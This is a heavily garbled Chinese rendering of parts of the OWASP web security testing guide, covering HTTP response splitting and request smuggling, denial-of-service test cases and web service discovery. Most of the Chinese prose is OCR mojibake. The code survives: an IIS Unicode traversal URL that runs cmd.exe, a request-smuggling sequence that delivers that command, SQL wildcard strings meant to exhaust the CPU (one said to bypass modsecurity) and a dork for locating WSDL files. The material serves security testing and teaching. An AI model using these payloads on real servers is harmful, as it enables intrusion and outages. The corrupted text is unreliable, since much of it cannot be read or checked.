Location: http://victim.com/main.jsp?interface=advanced

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

<html>Sorry,%20System%20Down</html>

<other data>

W LA B PRASAS R RT A o PRI G SRAE 55— AN 3K Beehe 28 SR AR B — MG KK /index.html, %M 4% 2%
AEREALT 55 — AN VUGS K I F A7 DU 2, PRG540 B A i I 28 24745 1K) victim.com/index.html 15 3K #H
B “ RGBT WWE. XA, BEhE R SOt I 1% Web SAFIH Fim i Mul (W web Z247 52
Web N HFEFFI— R AEE, 23 B o B, Bah & v DR IE LR IX S H P — /N Re D | R 5l mi AR 2
7 [¥) JavaScript J7 B, U19THL cookies o WHERE, AR XIIAAE TN, HLHRUZEILH .

DIk, 7 AN GG R AN B3 B SN A Y GRS BRI R Rl R, IR
il /3t SR RERINAE I EN Cr+ LF FPd)o ORI By ml BE R Mt 1 Sk B4

e Location/f7®
e  Set-Cookie/1% & Cookie
FR R, AEDLSCH I A IR TR A S DR B S A L B 2%, BRI RS

1. BIENRE DIAE R AR S N IE R B AT SE R DI 2547 (B - 52 ks ok H 317 Last-Modified il
L) o Ath/ b AT BE A SE B AT AN EEAR S S T "Pragma: no-cache" (3R SR, SR IR 45 H bR 0L THI P K 22 AF
AR

2. NI UE CR+ LFFAIS, Al fg ] DU yg o s BEh fE P A7 (Biltn, <7 “Fm>") o fEIXFf
THOUT, W AT Pl A E s (i UTF-7)

3. —EHFR (i, ASP ) ¥f Location Fr @l R4 IES A2 EEAT URL 4nfid (451411,  www.victim.com / redirect.asp
), MMMl CRLF EHI=ITC A AL, SR, AT dmiB Tl (040, ?interface=advanced) , XEHKHE
M —NAT B 5 2 Plge it b g .

SEVEAN IR IX - B A e AT G T e BLAO S DU N T (05 6L, TR B A RS2 30
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IR S Aar ) 5 451

Tk web N RIS H AR TR0 DL RERHAR KRR AT B) T BRI HTTPSplitting. B2, ANy H 4w mT LA
AT TR E A HTTP IS AT I G5 RN 26 AN S TN IT a6 . e EIRSEI, Ao H AR AT RE A &
AF e AT AR BN FE SO A RIS AL . e R il — S FUE KB RS BN R AEIX TG
DU, B MG OB AR DGR ARARTT AR o IX s ZATI N S3AE P AN B A REA T e . i P ARFA Y URL A7 7T RERAK
Wrelad 98, DA A7 AR T (1 2 BOR £ 2 URL PN, K™ A28 il A guierill ] AR B Bk 4K 21— AN 223 7
e g, LN RS A SRVRALH] POST AX TR, MIANBEMIH] GET.

HTTP Smuggling

W BRI PTiA, HTTP Smuggling R T8I AN R (RIBEAS, W UIZAE, BT K88 AT Aa R ol o i
1) HTTP {5 S AR /72X, Chaim Linhart, Amit Klein, Ronen Heled Fll Steve Orrin 7 2005 5F &3 T 13X — X R 4
o AFLEZ AT BRI N HIRE P T FA LR 20 A S b — AN im0 Sl BT ke et Ol s 2 PR 16 2 WG
PVE B O TRER R

Ingib s ginlypie: c2 v

HIUATE W BE RS8P DARYE — 28 2 40 A A5 3R T B8 A RS AT R L #06) Web B3R . filin, SR
(IIHZC) Unicode H st [ Bt 1S Il 55 %% (http://www.securityfocus.com/bid/1806), Hrh Moids % nf LU it & ik A
N Sk B wwwroot:

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<command_to_execute>

AR, AR AAE URL AR F "emd.exe" 55 AT FRARZE 2 AL JEX AP Bt . fH&, 1S 5.0 X N Ak 48K
FAT POST 15K AH 213k, 24 Content-Type #r/i3k AN /& application/x-www-form-urlencoded i, 11S 5.0 & Wi
BERR I BT A 2% B o] DUE IS G2 — AN RS RIS SRR X — i, 45T

POST /target.asp HTTP/1.1 <-- Request #1
Host: target

Connection: Keep-Alive

Content-Length: 49225

<CRLF>

<49152 bytes of garbage>

POST /target.asp HTTP/1.0 <-- Request #2
Connection: Keep-Alive

Content-Length: 33

<CRLF>

POST /target.asp HTTP/1.0 <-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Request #4

Connection: Keep-Alive
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http://www.securityfocus.com/bid/1806

€

<CRLF>

ZEBI PR #L AL E 49223 Y, P AR R#2 JLAT. B, BiokdE (ERER T NS 5.0 ML EARED W]
CAE Bk #1 (HE ARG Rke2 LB U ke 850, GEFE B R#3 (HE ARG k#a  (Fh POST H4
SURRE ARk xxxx 1)—53 ) o IAFE, 1S 5.0 s R ZAEHIE? e AE 49152 -7 a5 ILfgbTiE ka1 (KA
L F 48K = 49152 FTHIMRED A FE R I AT IS Sk #2. TSk BRI AR 33 AN, et
oo s T TR WA, AE NS B T SkH3 (AR k2 10— RN o H TSR #4 1Y) POST IELFEIE K
#2 JE IS 33 ANFRIFLAI, IE 1S BEMATIE R4, XN REF S — M A% H ) B B KA REAS I B iX A~
Bty URL CEREARBT SOt i — /MG SR D T 1S BRIEMfdsT GFHAT)

TEERIGOE, BRI T Web Jgs 25 Mdwil, 7E30e—2Eaim, A0 LR AR HTTP R & A
141 1005RFC R, 1A H] T AN R 5 2R AT i X ANRE s ln,  HTTP U SeiF— Content-Length %
Sk, EEA BRI AT AL I 4 b S IS Content-Length BRI, —SESe il 45— A Mt
RS AN, IXEVE R T HTTP Smuggling B 7. 59— M7= XF GET {5 5 Content-Length &t (1) fiff
.

THERL  HTTP Smuggling 7R E H AR Web N FE ih A AR 224231, DRIE, 7R iB MK A AR XA 2 7 i e 21
IR B Tk, AR .

5%

=

H B

e  Amit Klein, "Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" -

http://www.watchfire.com/news/whitepapers.aspx

e  Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: "HTTP Request Smuggling" -

http://www.watchfire.com/news/whitepapers.aspx

e  Amit Klein: "HTTP Message Splitting, Smuggling and Other Animals" -
http://www.owasp.org/images/1/1a/OWASPAppSecEU2006 HTTPMessageSplittingSmugglingEtc.ppt

o Amit Klein: "HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)" -
http://www.securityfocus.com/archive/1/411418

e Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593

4.9 [H W1 AR 25

B LRI 55 (DoS) Hihi 2 W& th L ESiA M T A REIEL RIS % . W4 DoS Bl (AEAME S L - MEE
P RGE AL s 22 I P2 HbsLas, A GVAD 2 552 PR ZREH - 2B E AR Z LA XL A HARHL S
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AT AL VBRI, T B I Ao A QPRI IR 55 et o XS A R e 3t 1 195 0 R HE T O F TR T B A
REREBHLIL VB o 3Rl “ PSR B A7 A5 MR IR AR 2 M A AR .

AEERE, NMATFARZ 88T UCEE M, SBOCRESGE AR TOGR I RRIGUR th Y
(IRRFPEHR T DRI, TR PSR AN o XA A AR R AT B B 5 DR AR N A2 Bt

T2 EATEYH Dos M

1. SQL il fCAF St il (OWASP-DS-001)

2. BUEH K (OWASP-DS-002)
3. A7 (OWASP-DS-003)
4, SBdH g EX S (OWASP-DS-004)

5. CHPEAE AT EES (OWASP-DS-005)

/i35 (OWASP-DS-006)
7. BEIBCZJE L (OWASP-DS-007)
8. fifitiid £ & iEEdE (OWASP-DS-008)

4.9.1 sQL il fc #4F X 3k (OWASP-DS-001)

i A

SOL I it A4F S et AR FH LA O s A A PP S0 T o F DK CPU AR BN ) ) A s AR A B o 3K A i T 380 A7 1
20N IRE P IR IR I RE o D IR B 45 A 2 5 DS BELI I 95 B et o

| s

SQU i FC AT BUdi vl RE S BT AT ) Ja s A 128, HRE R BP0 sQL k454 . A4 MS SQL IR g5 48 LIKE $A1 SCHRF RS K
b1 LT A 7 I RO Y R VL7

FE—N LR web N, WERARIT AR A “foo” , AHIVIK sQL A2

SELECT * FROM Article WHERE Content LIKE '%foo%'
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https://www.owasp.org/index.php/DoS_Testing:_Buffer_Overflows
https://www.owasp.org/index.php/DoS_Testing:_Buffer_Overflows
https://www.owasp.org/index.php/DoS_Testing:_User_Specified_Object_Allocation
https://www.owasp.org/index.php/DoS_Testing:_User_Input_as_a_Loop_Counter
https://www.owasp.org/index.php/DoS_Testing:_Writing_User_Provided_Data_to_Disk
https://www.owasp.org/index.php/DoS_Testing:_Failure_to_Release_Resources
https://www.owasp.org/index.php/DoS_Testing:_Storing_too_Much_Data_in_Session

€

RAERIE— DM 1-100000 15 FIH0HE 2 HLAAT I TR AN —Fb o (HE R DX — 45 2l AU 7E [ RE AT 2600 i
SR PR K P B 6 Dl

SELECT TOP 10 * FROM Article WHERE Content LIKE '%_[*!_%/%a?F%_D)_(F%)_%([)({}%)}{()}£S&N%_)$*£()$*R"_)][%](%[x]) %a][$*"£$-
9)_%'

JITEL, W SR A 6 BN ) S cpu, N AR R M LL R i)

_[M_%/%a?F%_D)_(F%)_%([)({}%{ () }ES&N%_)S*£()S*R"_)1[%](%[x])%a][$*"£$-9]

Rl WA

sQL JEEEAF Bk
A ANIR BT 45 R A ) B LSS JUANERCAT, AR DU R IR 72— e Tl v R R AE . a2l
FIAEH] T LAV I 22 BRI TR S R, Ao Tl o

R LB B A2
o % [M_%/%a?F%_D)_(F%)_%([)({}%N(IES&N%_)S*£()S*R"_)][%](%[x])%a][$*"£$-0]_%'

o '%64_[M_%65/%aa?F%64_D)_(F%64) %36([)({1%33)1{()IES&N%S5_)S*£()$*R" )][%55](%66[x])%ba][$*"£$-9]_%54' bypasses

modsecurity
e _[r/a)__(r/b)__(r-d)_
o %n[*nly[AII[AKIA[MIA[ Azt [AK]b[*q]t[*q][*n]!%

® % [aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal!-z]@S! %

HISR
SR IR A S FRO At A 6 Wi P i) LR~ R

WHTHIE R R TR

o AUWINAZIR I FER ARG R AU, BT HE A 5 1O Af i i ) e 126 R 55 A R T AT A
Ko

o fEORIZEH, B4 OREHMNIZAR, AREIFELINME . B DFRMAT T -

e 7F Microsoft SQL Server, & —ANHH55 [ )G 575 DB AT I 1] o 3 mT DARI R4 m B 1 20
Bl

o LIKE'%_[a[!-zZ]@$!_% - 1050 ms.
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0 LIKE '%_[aaaaaaaaal! -Z]@$!_%' - 1600 ms.
0 LIKE '%_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaal! -2]@$!_%' - 3700 ms.
o ATV B T LM BAT N TG o AL Y ] SR VR AT RE A B I A
o UU%JITIR, LA%4 R ik & s T EA.
o UBHRTTRERURAL R AT R O TRARIXFIEOL, AN AR AW NAZAT A .
o PERERVEAE TS . AR RIS G R BR E H bR R S8 e AL At .

JK A AR e 25451
sQL JEEEAF BTk
PO T I 8] 7T LLAE K e e 25 s L 3 i ROC B o 2 2 ), A W] REREG 7 sQu il Fe AT Bdi.

FEMRNY ] JZ DoS By, T HTTP H A 7 B i S I ) AR S B2 10 o SRR PR 24 v £ o 17 ) LLE 5
XL GURA W RERE IS EAT sQu Il RC AT Bl o

e  DoS Attacks Using SQL Wildcards

TR
o AW RANTTEEAT . [FFER, u] DA A fuzzer THOK HBIREATIXANHERE

4.9.2 i H K P (OWASP-DS-002)

i fv

EIZAN R HL i A Ay A ki e A W R S A R R e, LR R R BE
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€

|k

55—l DoS UL SN H AR NI IR R S8, FHAEST S BGL AU 38 s 1) — ANl ik e 3 31 5 9k
HARARR L I, BUEIHIT o XRERGUE, AERRBUK ) 0T, B AN SIER R SR SR I E A R
ARG WERTUMEER S RIK S, XA EAT AT R M HI O — 4> DOS Hiki

i BRI, FEREIET R, R I A K BV 55 M2 42 (R~ A 6 TIR BiOE . T FE UK 4 AR
CAPTCHA “5 RGMILEAR R I, #RA LU A S IR AL o 5 S0 v R SR U N 2, LR X HEL -0 A5 P
AIIPGE o X BB EIPAESRIDOK ™ (A L, WTRESEEL DoS ZEAT Ik,

PRI e 2 451

s BT I 2R — IR E A T IO R R A S BUE IR o WRIR 08 TR GEM ) 4, s
RO TR R A Sk, RIBUEIK 2 S HeBiE . WK e 15 RGBT B0E, B LARAT R RE
NEUE T o ICAE NI H R 2 R RIS e . IXRERE DI, e 2 R 2 T AN R e K
H?J‘o

WERAENAR A ATHOE I P 44, M s ZH8 1R il VA 20 B R G E K 4 .

AT RENGIRMI ) 40, D i EERCIUAEAT 4 3t )5 1 2 DR A ik BN £ 3 1R 8 e 1 S B Do E 5 ) T
T

1L G —— A CRH T ZAERR A RS, BSas R B EHR G e 22— MRAA T REAAAE
I A ARl AN R A B, RS IS0 B 2 [T B R 5 o RPN BN, AT DU I 5K
Jro AR IR FHE S T PR AN, ANBESLZIFR K. LR, AW e M B FF, (H2 IR
[l R) AT 2200 3 b Tk 2 DX PR ik i LU IR 25 4 A IR R SV 2 B HTTP W 25 (1) hash fEL. BRARIR
G5 AR BE UG SRIR [FIAN TR 25 R, A5 IS 780 A3 [P A G FRD 22 Tl 2 e e R 5 9

2. EM I —— QIR N A SV BAT BCE R AT, AR S A BUNEI 7 4o iR EE A 2
LAFERI ) 40, SREAT ZCRDUE? A FR ISR SR T B E N7, R LA 3)
s —MEER L 4

3. B SCE I TR —— W R SR TR e LR P R s B, KT BRI, SR KR Bl
HEMRAAEAERIK T IR, SRR ARG R L2

— B F RERS AR AR K A, BEE KT AR S A, AR IR I, I8 L BEE A A st
FE, HIRAA 3 21 5 M RIE SRR WERBGE Sl TREI K 44, AT AR 7 5 1 %K
P83 A BEAT BELWT R 55 2 ik o

IR A S 2 45
R B ST R SR 3RAT 1, B B E 7 Do 200K s B iE B Fa 2R 2
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1o WK A RRE th RO, XA IEHRAT L We? IXANIE R AT RENSE Pl R T i ?

2. WERTAMKREORE T BIIYIERIR, B, S EE, HEWE SR S AR
EVAE S A ENINEST S

4.9.3 ZZ s H (OWASP-DS-003)

(¥l

FEIZAS IR BA T 7 BE AT AEE Y A3 N (K AN 2 A Bl 4 R R A 51 BTl 55 ¢ o

| s

FRAR]— Tl s ZOT A N WA 0 IO B ST 55, e W ML C R Cov, HRATVEAE (KOG AR i . S it ) fe ™
R REMEAE IR 55 4% AT AR A, 0BRSSt DR DA I YRR e S A i A8 BEL OB e 25 i o e
Uil AR IS SCR L E MR LR (0 S 2 SR, (ERE AT S A7 S PR 8t g N2 BEL IR 95 B et AR SR PR 7

PATR 2 — MR C 25 ]

void overflow (char *str) {

char buffer[10];

strcpy(buffer, str); // Dangerous!
}

int main () {
char *str = "This is a string that is larger than the buffer of 10";
overflow(str);

}

WAL BI T AT, AL TIEBHHR M E I L. R strepy WEM 53 NPT RBIE] 10 MLE, HE T
AN A DR ISR AR R ) — M DL S EAE web I, ARZ M AR e el A K
JE, AEAFIR AL R T RE

R et

f£. Buffer Overflow Testing {73, MRREUI{] [ B IR AS— R A BEOR R AT RE R # Bui by o i g K 3
DoS, WIARARMCE]— ARy CERFE BATWCRIWA N LEARBAE I AR T, AR ) IR 55 4% A o — MR, &
B ATRAT RN o
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| Rk

ES IR Buffer Overflow Testing #4), A XTSI TFEANE S o

I

4.9.4 ] 45 € X % 43 B (OWASP-DS-004)

N

FEIZAS IR BA T 72 15 A3 ] BEALH 23 K6 B IR T RS 55 45 B

|

SR A7 AT DB Al b I AMEL, T AW AE BT IR 55 A h QU R IR, IF AR SS B0 R AME
AR BB, I LT R RE T BUS T BRI AT AT I A o IS5 AR T AR S MO AE X SRR A, X
AR ER, WA RERAERS 4 B9 R R, ATRESHER BT AT - A, IR PERE T s

A Java 45 (055 10T ) i 84907

String TotalObjects = request.getParameter(“numberofobjects”);
int NumOfObjects = Integer.parselnt(TotalObjects);
ComplexObject[] anArray = new ComplexObject[NumOfObjects]; // wrong!

PRI B 2 451

DR 7 LA N IR AR v 4% 135 5T 4RAE e v /D BB AR A B 7. 2l o — MEF ERIEL
KA M55 T R AREEM N, o AR VT RE TG /NN TR K, PR 4 R 5% s 3E AT 5 8200 BN PERE 2 BT B B

fE BRG], JEIEE “ numberofobjects” 4 FR/MEXTH R IE DN E RIS RS 8%, (115 servlet W] g 22 B 4
U2 EIN% . TREHNARFASIER ) BN — MERIERIXA H B, BEERASFAG AT F o 7 Bk A
% iy JavaScript HHUE S E AT LUK 0 2 223X T I 1 S48

D SR AR EAEAR] (R BT Sl A Sy I P e iy e e, S AR 23 FE SR ABAT W e IS BUAH R 45 5 H 7 R 45l
R MERER NG5 RN BT 25 ™ 0 L I A b R I TR D SO ) BB, T LS B A 3l
AR RAF LR 1) I OV 4= s i it T D) 2 v (R 0 o B0 I 55 45 LA

I A AR B 25451

SRHIGE R RS 1 A B 20 5 ) e 2 S0 1) 745 B Ik o7 v BB ™ K 7 B K0S o 3 L i T A I B PR A 3R
PRI T AT AR ) o
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4.9.5 ¥ H P i ANAE N I8 2R v £ 4% (OWASP-DS-005)

{4

XA LB AT A2 A5 T RELE N H s BRI — Bty ZAR 2 SRS IRACHS, A ks S AR TR RE .

|

HUB AT R R G o L IRl A U R e LR AR R R e A T DU EIR A T s 1O fEL, At RE S 5
HE IR 55 4 IR BT )

PAF /2 java 45— M 1
public class MyServlet extends ActionServlet {

public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {

String [] values = request.getParameterValues("CheckboxField");
// Process the data without length check for reasonable range — wrong!
for (int i=0; i<values.length; i++) {

// lots of logic to process the request

}

}

FATERA AR E 2], PG T B EE  WAREIAA IACRS ZERARH 2 1B, I X BGh A
A DU AL AT AR IR TR, R 2 BRI 55 4% A B B SR IO PERE, SIS —> DoS P15k,

ARG A

R — AT B R AOE S IR g as, Biln, Koy BT EBOIRE 2 SR ARG (o0 (Retn, A0k “37 Rk
WO 1, BN 2, BN 3 BIARRAEXDD o Wi RIS ae BOA XX AN BT R IR, 2R 5 DR N IR — BU
) o XA IR AT USSR, HA s s B 7 45 ik 55 4% Ll 99999999,

T3S R A R AR HAR R S5  RE T — IR BCR A A PR MBI o 2 N TR P AN RE ELAR AL N R 7
JIR 55 2 R BT AT (R 4K MEA BEAT S DB R AT I, SRR AR BT B BRI 00 T AN AZ 2B AT SN EA LUK I
FHAEIXH DoS. Lbtmiid, KH 1T LURACZ EAFR/MEANS, B DEAA R AR, ERAFRKE (B0 R &
DA o T ARSI N 25 PR A TR AX S A4 B BN HLIO AR, 7T LAAS 2K SE{E (1 BA Y o
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DR SRPRBE RN IR P p il e 2 HR LA (88 2, D8 vl BURIHS —AS/INIIAS - FE T SRR GEAT — MK AR R B 1Y
ARR/MERS o ARERAZ 10 ADNFERAN 1000 DA, 0NN (A 2 DO, AT RERG 7 A XA IR )

SR, A B g I R B BERAE, R ENTT AT RE S AE LA B S 4 — M

IR A AR 2 % 451

TR IS PR A B2 ) LS B 0 A X0 AR 5 s ORI A R MR I A SR TIN5 7 5 R g Ik
A

4.9.6 ¥ H 5 N YRS 2 4 5 (OWASP-DS-006)

En

XA, PR A2 A5 B A8 H b S5 H SOk 813 Dos #4553

| s
A Do s TR AL RIS 7 AR Dk 2 B Bk
A T B F AR
LR AR LUK O 0 B NSRRI S A AL ST FLR 0

2. N HIRER A] BEREAT I 9k LA 52 SR AT (A A2 757 F ROE A A UM B2, EL 2 5 N TR P TR R 2o R IR
Ch T d A BRI H KD il BN IR H &

T SR I RE A 4 R T 0 H S s Al s s A BB, 0K et i — N o R 2 H A SO B T
HIRI 7 BRI, DO RSSO R RN AT BRI IE AT e A (R B IR e G I I 30D o fEE, I
AR AT 2 XA SR D) Bty BRARDGAE m LAE AN 2 R 7 QU 9 H S0 ORED .

PRI B 2 451

WARBAT L8 TRR TR Lo 1, XA IINRAE SR G5 S MRAE S, Al — A e & P R A I S R AN HEAT K5
Rt (AR B, R IR KRR BN R il k. %) [ Textarea "7 BUSUE W] DU ARSI S, (H
FEIEREEARIE T, BT AL - DNEASK A3 PRI FIREIR AN KA R, FHLRpsk—BUNTRl. iRkg5
I AL AR ) S RS AN TT AR, ?
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IR A AR K 2 45

FELEREOLT, A AT RE AL b W sl FO T A s ) o O3 A 1t 90 206 I o B0l IR B i BL R s

E
1. HESCHE EHLUIRSS 28 e VFINAR #2028 S0 R ekl 2y SOk 245
2. JR&2ET SNMP $RAE L A5 Al S B

WFRSERE R BT, DMK i 1) 25458 A0 — AT 20 RIS K, UM 2 15 4 5 NI RSP H S ST e
ATART A EEBR Ao A R AT BRI, I & vy BAIE R AN INIHIASOR A S AR RAESR,  HOER 55 i) H G S K
W (BB B R AN o SX AT LALEIIK S FIE i 222 DI [ RN SS ) B0 R, ANy 258474 Dos.

4.9.7 FEJ T YR I (OWASP-DS-007)

{4

ARSI, FATTAT LU R 3 A2 A8 Ja 2 73 4 (RO RE . Ui AR

|
A SR AR I T BEL LR TS T o B B ) B, I8 X 2 SR AN REAE I 1o TRERI] 140 T
o MHREFHUE IS ThEE, RS LA RS SO IR SR STAT

o FETPRAFENTTC . CH+ARAF AT BLITE 5 o I BLI AR P A7 e MR 5 RS 5 22 P8k (1) 15 3 IZ AR e
TEIAIS, Cr B NAF T BETCTRMNBR, T 8 ey S (RIS AN S ] 75 (RO A A AR DL o

o EAE R TCEERESN B R G ORI AR & TE RIS, V22 T8 S35 SR T LA S [ N R i
FEPTAT IR 808l P 2

T2 A JAVA fRRIB I £EIXAB]FH, Connection 1 CallableStatement #F Y iZ£F finally 4GH% X 5% 4] o
public class AccountDAO {

public void createAccount(Accountinfo acct)
throws AcctCreationException {
try {
Connection conn = DAOFactory.getConnection();
CallableStatement calStmt = conn.prepareCall(...);
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calStmt.executeUpdate();
calStmt.close();
conn.close();
} catch (java.sgl.SQLException e) {
throw AcctCreationException (...);
}
}
}

ARG A

BRI, AR G I P AR ME R SOX SRR B BRI G . W AR KR AR B AP BEAE HEA T Jdla P AR 11
TR, XA R AEHS 5 DS R 55 #e 0 DR EEOR AN BE A B %, I8 L Am] LAPRSE I 3 &% L NI R K
FEHEAT SR IAL PRI SR AL RTINS, O 7 Py s 75 il e 5 3 [P RO B A A

I A AR B 25451

FEFLERG DU, A7 AT REMEAL H A X b R 22 ) P A A TG DL o JOEL 0 AR 1t X 20 A UK 3 BRI 2 o
B/ CEERSYPE I

1 SRR ENURSS s R VFINRE e SO R GE sl S R S
2. JRSSARIERE SNMP B ALHL AL 2 1) B A A7 A4 B

FLGOUR, O TG D AN BERON IRE 3 A B T4 A6 4 sl 1R T il P 1 NP R P A B, it mT e A
JI 2545 (KD A A7 BCE AL AL T 0 o 200025 5 DR LR (R B R I AZ IR A SO0 R VA TR I IR 745 Lk, o,
I, F1 .

4.9.8 fifitiid 2 2 1 B4 (OWASP-DS-008)

N

FEIXANIR L, SIS A 1) DAIELRE i) FH ™ 2 1623 P K S 1R i SRAR I A7 B8

| s

R EA AR SRR 2 B . ARSI PRI 2 B, e R PR A R B KR
FIRES DB 55 ok o QRS WA AR SR AT OB R, R T RAASHIR ™ i Aoke ey, 30K ™ A2 ™ )

&
:
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PR I K 25 41

OGRS R G ARMENR RS DL TP ) U 1 A7 AR T8 2o I I P 3R N Bl 2 s i A L 1R
RE R C S (R 8 L PR P o 300 S K8 80t (4 DT DR I Dh BE L 2 ARAT R RERR o T A R BE T IEFRAER 1
GeAeilok, MAEN TR B m 2 e . AKX eSS B BIASK BRI 55 # S AR 2 25 1%
AT REAERE T 2 M BB R o LR BIAIE AT — BURF IR, % Rl 2 P R P e T (02 8 ) S
Jo MR IEANBT, S ENLEE R N IRS AR T RERAT BRI N AT

K g AR K 45 491

WERATLARIAE, SNMP W] UG HEHLAS A A AR o AEIXAN I, W SR AEWS WAL H b A A7 1O A8 TG DLt S 4
T o DU AT LU BB I 20 ) BIAS 2 AT I A A AR -

4.10 WEB JR 45 il

SOA (IRZ I 454D /Web g5 B FHFE P & HET 20 RS0, BT LMEEEAS o (R e AT AR BT A 1R A
RIEH . Web RS “% 77 AL ML [T B S G RS54 . Web BRZSERIL G MRS —FE /&2 58 T4, (H2 0] LLZE
ALK HTTP,FTP,SMTP,MO A /. Web JIR 55 HEALAEIEFE XML, SOAP,WSDL F1 UDDI FEARHFIH HTTP Fpil
A RRUE R 2 3 L) .

o “WebWeb IRZHIRIES " (WSDL) & FH R IR 454 111 o
o “THHANTZAFEEIL”  (SOAP) FH XML FiIl HTTP 3t Web 4% F1% F N FHFR P 2 1) (R B R 07 1 o

o U fER. o RngERY” (UDDD EHIRITEMIAN K AT Web RS AEATHI AT, IXAARATAT AAERE AR R A
JrR R L

Web 55 (IR ER 0 AR IF2EAL,  ELdm sQUiE N, {5 B BRER, AN, (HRXHLRE S THE S Web k55 A0k 5
I AT S ) XML/ AT 25 o

PR iR T Web 55 M

4.10.1 WS Information Gathering WS 15 KWt 8 (OWASP-WS-001)

4.10.2 Testing WSDL WSDL il i,(OWASP-WS-002)

4.10.3 XML Structural Testing XML 544 ilj3:{,(OWASP-WS-003)

4.10.4 XML Content-level Testing XML N 254 73 (OWASP-WS-004)

4.10.5 HTTP GET parameters/REST Testing HTTP 3kl 2% /REST I i:t(OWASP-WS-005)
4.10.6 Naughty SOAP attachments "< ) SOAP ff{:(OWASP-WS-006)

4.10.7 Replay Testing = L illi,(OWASP-WS-007)
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4.10.1 WS 15 S 4L (OWASP-WS-001)

i A

BEAT Web S5 MR — 2 ife WS N H U RERE I bR:  3X7E WS 1) WSDL FLATHIIA .

| 2

FHR

RIS WSDL #5457 1n) Web JIlRSS, AR A RIREA MG S, VR 2R H uDDI Sk BIRF E 1K IRk55 . Web filk
A=A EE KA i——UDDI,WSDL A1 SOAP. 7EH Bt FH MPEN R 2 8], AT 2 = FETHAE {1 {5 —Universal
Business Registry (UBR) . #RFNIRATM WSDL (1) 77547 JUFr: S ffi B e 7E A 8 R g | 3 Blyin LAy ifg . bbnist, IR
FH)H google. com &1 7E example. com Mk Ff) WDSL, KR8] LT :

inurl:wsdl site:example.com

SRIGIR BT I WSDL AZL11. W4T 3 wsPawn 1E4— MR I Web IlR453 9% #, ‘B nl LA UBR Il g #x
W, IR AMER TR . K5 UBR 4IRS F1% . Web RS o B AN EZ AT IR S . SR
Je, Web JRZ51H 28 A IR SR A5 sk — /MU 1) B S5 R . UBR LI SE(5 B MRS IT 4R, Web JIRS511 2
FHRET Web RSN R EHL/P Mk (wsDL) ,  HLIFAR Y5 i) IR 55

WSDL 3 &

MR V5 ) WSDL I, Al el BL Ry Web R4S R — ANV Al ORI IS E: O IR 868z (1807 VAAE HTTP/HTTPS A H
SOAP TIMSRIS SN PRl o S iy NAEARRD 2 B e L, et nT AR A R et . 11 WDSL ity .«

http://www.example.com/ws/FindIP.asmx?WSDL

PRATEAS R LR ) Web iR 55 A -

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions xmlIns:http="http://schemas.xmlsoap.org/wsdl/http/" xmins:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmins:s="http://www.w3.0rg/2001/XMLSchema" xmlIns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmins:tns="http://example.com/webservices/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"
xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/" targetNamespace="http://example.com/webservices/"
xmins:wsdl="http://schemas.xmlsoap.org/wsdl/">
<wsdl:types>
<s:schema elementFormDefault="qualified" targetNamespace="http://example.com/webservices/">
<s:element name="GetURLIP">
<s:complexType>

<s:sequence>

310


http://www.example.com/ws/FindIP.asmx?WSDL

<s:element minOccurs="0" maxOccurs="1" name="EnterURL" type="s:string" />

</s:sequence>
</s:complexType>
</s:element>
<s:element name="GetURLIPResponse">
<s:complexType>

<s:sequence>

<s:element minOccurs="0" maxOccurs="1" name="GetURLIPResult" type="s:string" />

</s:sequence>
</s:complexType>
</s:element>
<s:element name="string" nillable="true" type="s:string" />
</s:schema>
</wsdl:types>
<wsdl:message name="GetURLIPSoapIn">
<wsdl:part name="parameters" element="tns:GetURLIP" />
</wsdl:message>
<wsdl:message name="GetURLIPSoapOut">
<wsdl:part name="parameters" element="tns:GetURLIPResponse" />
</wsdl:message>
<wsdl:message name="GetURLIPHttpGetIn">
<wsdl:part name="EnterURL" type="s:string" />
</wsdl:service>

</wsdl:definitions>

OWASP iR FE T v3.0

XA WS faj BN — N4 PR (EnterURL) JE4 A 1P Hihik o BT LLIRAT T GetURLIP 4E% WS il EnterURL (-

PR BRI e XA EBATE T ws A H s A E

Web Az %5 &I

Web 551 9 i 2 — AR SR ANERE 0 5 506 MO RE R 55 4 L3R B AT HIE Web JIRg5 . X AT R 540 3] Web

A%%%: DISCO #1 UDDI.

Web k25 &I (DISCO) & —Fl K &I URL WSDL ZEHUFIIL S XML SCAF[) /51, Wl Schema Definition File( .xsd)

.

Fln, FH HTTP [m— Web AkZ5 2525 1#: http://myexample.com/myexampleService.asmx?DISCO

AT LA3RAF 40T Disco iR [H]:

<?xml version="1.0" encoding="utf-8"?>
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€

<discovery xmlIns:xsd="http://www.w3.0rg/2001/XMLSchema" xmlins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmins="http://schemas.xmlsoap.org/disco/">

<contractRef ref="http://myexample.com/MyexampleService.asmx?wsd|" docRef="http://myexample.com/myexample.asmx"
xmlns="http://schemas.xmlsoap.org/disco/scl/" />

<soap address="http://myexample.com/MyexampleService.asmx" xmlns:ql="http://myexample.com/terraserver/"
binding="q1:myexampleServiceSoap" xmlns="http://schemas.xmlsoap.org/disco/soap/" />

</discovery>

FEIZAS XML SCPE LA —A> WSDL SCIFII 2%, T LLAGERE IS5 33k 45 7] ] Web IRk 55 U282

DISCO /&TER I —MHA, UDDl (F—Hik. KIVFIEER) & —Fh OASIS #rifk,
WS E 2%

T3 K Web Jli4s 1 S AEFAE WSDL SCAERE AN 44 200 X AN 44 23 0a] DU TR0 F URIs SR300 55 3 T8 o i 193 28 44
R M55 Aok $k 21 wsDL.

—UETT H ) URL 41

http://<webservice-host>:<port>/<servicename>
http://<webservice-host>:<port>/<servicename>.wsdl
http://<webservice-host>:<port>/<servicename>?wsdl

